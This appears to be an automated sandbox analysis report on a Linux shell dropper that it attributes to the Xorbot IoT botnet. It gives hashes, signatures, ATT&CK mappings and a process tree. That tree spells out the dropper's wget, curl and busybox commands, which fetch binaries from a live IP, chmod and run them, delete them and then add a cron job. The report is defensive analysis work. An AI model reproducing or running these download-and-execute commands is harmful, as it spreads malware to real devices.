xorbot | 49bf0d39e438cbcf8b2e5154905d635aaf8aef7a6ab5e2c7e489b716a512dfa7

Analysis

max time kernel
149s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/01/2025, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250128-e5yctaxlcx
SHA256 49bf0d39e438cbcf8b2e5154905d635aaf8aef7a6ab5e2c7e489b716a512dfa7
MD5 9a6eed0345c7b3a564dbb8c0a05b34f6
SHA1 b4098ebdbbb616981e6e922e49567ac84a0ede39
SHA512 6e5f69a9e372609e1e789856af2cd717c7d127626a6a77e9a906c6782a26db8a6c1ace3c5b766063f1514b12258839085e805d59dd9a5fdabb00f7521f64265b
SSDEEP 96:pkkAVgjtlE4q+oMfsTMXAqtyw4mkkAVWP5+DIN+X4PoMfsTMXAqtyhqr:rjtlE4v5kY63MkYv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1527	chmod
1534	chmod
1541	chmod
1548	chmod
1513	chmod
1520	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J	1514	bins.sh
/tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S	1521	bins.sh
/tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ	1528	bins.sh
/tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb	1535	bins.sh
/tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE	1542	bins.sh
/tmp/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6	1549	bins.sh

Renames itself 1 IoCs

pid	Process
1550	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.hDQDsy	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1065/cmdline	bins.sh
File opened for reading	/proc/1/cmdline	bins.sh
File opened for reading	/proc/12/cmdline	bins.sh
File opened for reading	/proc/18/cmdline	bins.sh
File opened for reading	/proc/20/cmdline	bins.sh
File opened for reading	/proc/137/cmdline	bins.sh
File opened for reading	/proc/162/cmdline	bins.sh
File opened for reading	/proc/1031/cmdline	bins.sh
File opened for reading	/proc/78/cmdline	bins.sh
File opened for reading	/proc/180/cmdline	bins.sh
File opened for reading	/proc/407/cmdline	bins.sh
File opened for reading	/proc/471/cmdline	bins.sh
File opened for reading	/proc/1123/cmdline	bins.sh
File opened for reading	/proc/1298/cmdline	bins.sh
File opened for reading	/proc/1334/cmdline	bins.sh
File opened for reading	/proc/3/cmdline	bins.sh
File opened for reading	/proc/599/cmdline	bins.sh
File opened for reading	/proc/1183/cmdline	bins.sh
File opened for reading	/proc/2/cmdline	bins.sh
File opened for reading	/proc/1006/cmdline	bins.sh
File opened for reading	/proc/1068/cmdline	bins.sh
File opened for reading	/proc/487/cmdline	bins.sh
File opened for reading	/proc/551/cmdline	bins.sh
File opened for reading	/proc/651/cmdline	bins.sh
File opened for reading	/proc/1182/cmdline	bins.sh
File opened for reading	/proc/5/cmdline	bins.sh
File opened for reading	/proc/36/cmdline	bins.sh
File opened for reading	/proc/1223/cmdline	bins.sh
File opened for reading	/proc/723/cmdline	bins.sh
File opened for reading	/proc/4/cmdline	bins.sh
File opened for reading	/proc/8/cmdline	bins.sh
File opened for reading	/proc/165/cmdline	bins.sh
File opened for reading	/proc/166/cmdline	bins.sh
File opened for reading	/proc/172/cmdline	bins.sh
File opened for reading	/proc/468/cmdline	bins.sh
File opened for reading	/proc/713/cmdline	bins.sh
File opened for reading	/proc/1504/cmdline	bins.sh
File opened for reading	/proc/1557/cmdline	bins.sh
File opened for reading	/proc/205/cmdline	bins.sh
File opened for reading	/proc/476/cmdline	bins.sh
File opened for reading	/proc/1054/cmdline	bins.sh
File opened for reading	/proc/25/cmdline	bins.sh
File opened for reading	/proc/80/cmdline	bins.sh
File opened for reading	/proc/1025/cmdline	bins.sh
File opened for reading	/proc/1164/cmdline	bins.sh
File opened for reading	/proc/1237/cmdline	bins.sh
File opened for reading	/proc/178/cmdline	bins.sh
File opened for reading	/proc/10/cmdline	bins.sh
File opened for reading	/proc/14/cmdline	bins.sh
File opened for reading	/proc/21/cmdline	bins.sh
File opened for reading	/proc/29/cmdline	bins.sh
File opened for reading	/proc/115/cmdline	bins.sh
File opened for reading	/proc/173/cmdline	bins.sh
File opened for reading	/proc/175/cmdline	bins.sh
File opened for reading	/proc/1508/cmdline	bins.sh
File opened for reading	/proc/522/cmdline	bins.sh
File opened for reading	/proc/1101/cmdline	bins.sh
File opened for reading	/proc/1111/cmdline	bins.sh
File opened for reading	/proc/1180/cmdline	bins.sh
File opened for reading	/proc/1308/cmdline	bins.sh
File opened for reading	/proc/1356/cmdline	bins.sh
File opened for reading	/proc/1495/cmdline	bins.sh
File opened for reading	/proc/89/cmdline	bins.sh
File opened for reading	/proc/1144/cmdline	bins.sh

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb	busybox
File opened for modification	/tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE	wget
File opened for modification	/tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE	busybox
File opened for modification	/tmp/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6	curl
File opened for modification	/tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J	wget
File opened for modification	/tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J	curl
File opened for modification	/tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S	wget
File opened for modification	/tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ	wget
File opened for modification	/tmp/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6	busybox
File opened for modification	/tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S	busybox
File opened for modification	/tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE	curl
File opened for modification	/tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J	busybox
File opened for modification	/tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb	curl
File opened for modification	/tmp/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6	wget
File opened for modification	/tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S	curl
File opened for modification	/tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ	curl
File opened for modification	/tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ	busybox
File opened for modification	/tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1504
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  ./Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  PID:1514
- /bin/rm
  rm Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
  2⤵
  PID:1516
- /usr/bin/wget
  wget http://94.154.35.94/bins/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  - Writes file to tmp directory
  PID:1517
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  ./yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  PID:1521
- /bin/rm
  rm yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://94.154.35.94/bins/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod 777 GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  ./GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  PID:1528
- /bin/rm
  rm GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://94.154.35.94/bins/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  - Writes file to tmp directory
  PID:1531
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  ./mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  PID:1535
- /bin/rm
  rm mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://94.154.35.94/bins/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod 777 bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  ./bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  PID:1542
- /bin/rm
  rm bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://94.154.35.94/bins/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
  2⤵
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod 777 ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1554
- /bin/rm
  rm ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://94.154.35.94/bins/S9U6ltrn9vkxmQleLxo5xUlzQk6TpgvCF3
  2⤵
  PID:1559

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ

Path /tmp/GOZrevHCiBfAcZGBO9A6AZZt4rTH164BHJ
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J

Path /tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

Submit Download

ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6

Path /tmp/ZLAq0yV77jw6zHcOhedce1WPik1dvUeWA6
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE

Path /tmp/bAewomeCW6oKS3iDmjh0oeCa2uia7RY0uE
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb

Path /tmp/mbkEzYa6qiRTKbS3HmSRdTVl82mfueyTsb
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S

Path /tmp/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.hDQDsy

Path /var/spool/cron/crontabs/tmp.hDQDsy
Size 210B
SHA256 d9d8b3e34a167a469a0a658c94d8888b3a98af6009c9eb747293c2c539c39166
MD5 ab72d6f59de2de043bb429aefaae22fc
SHA1 b9d9e75567d137ddd63f466cf5179af4c53136f3
SHA512 93dc8a2b4031dbdc25305214cb6a5cf7d4476a3eb13e3d940de00ef9f0251f2729dec6343c4babf117deebd7ba9c5ec26c0ce815bef60f78be9c94dd7d02d2bb
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads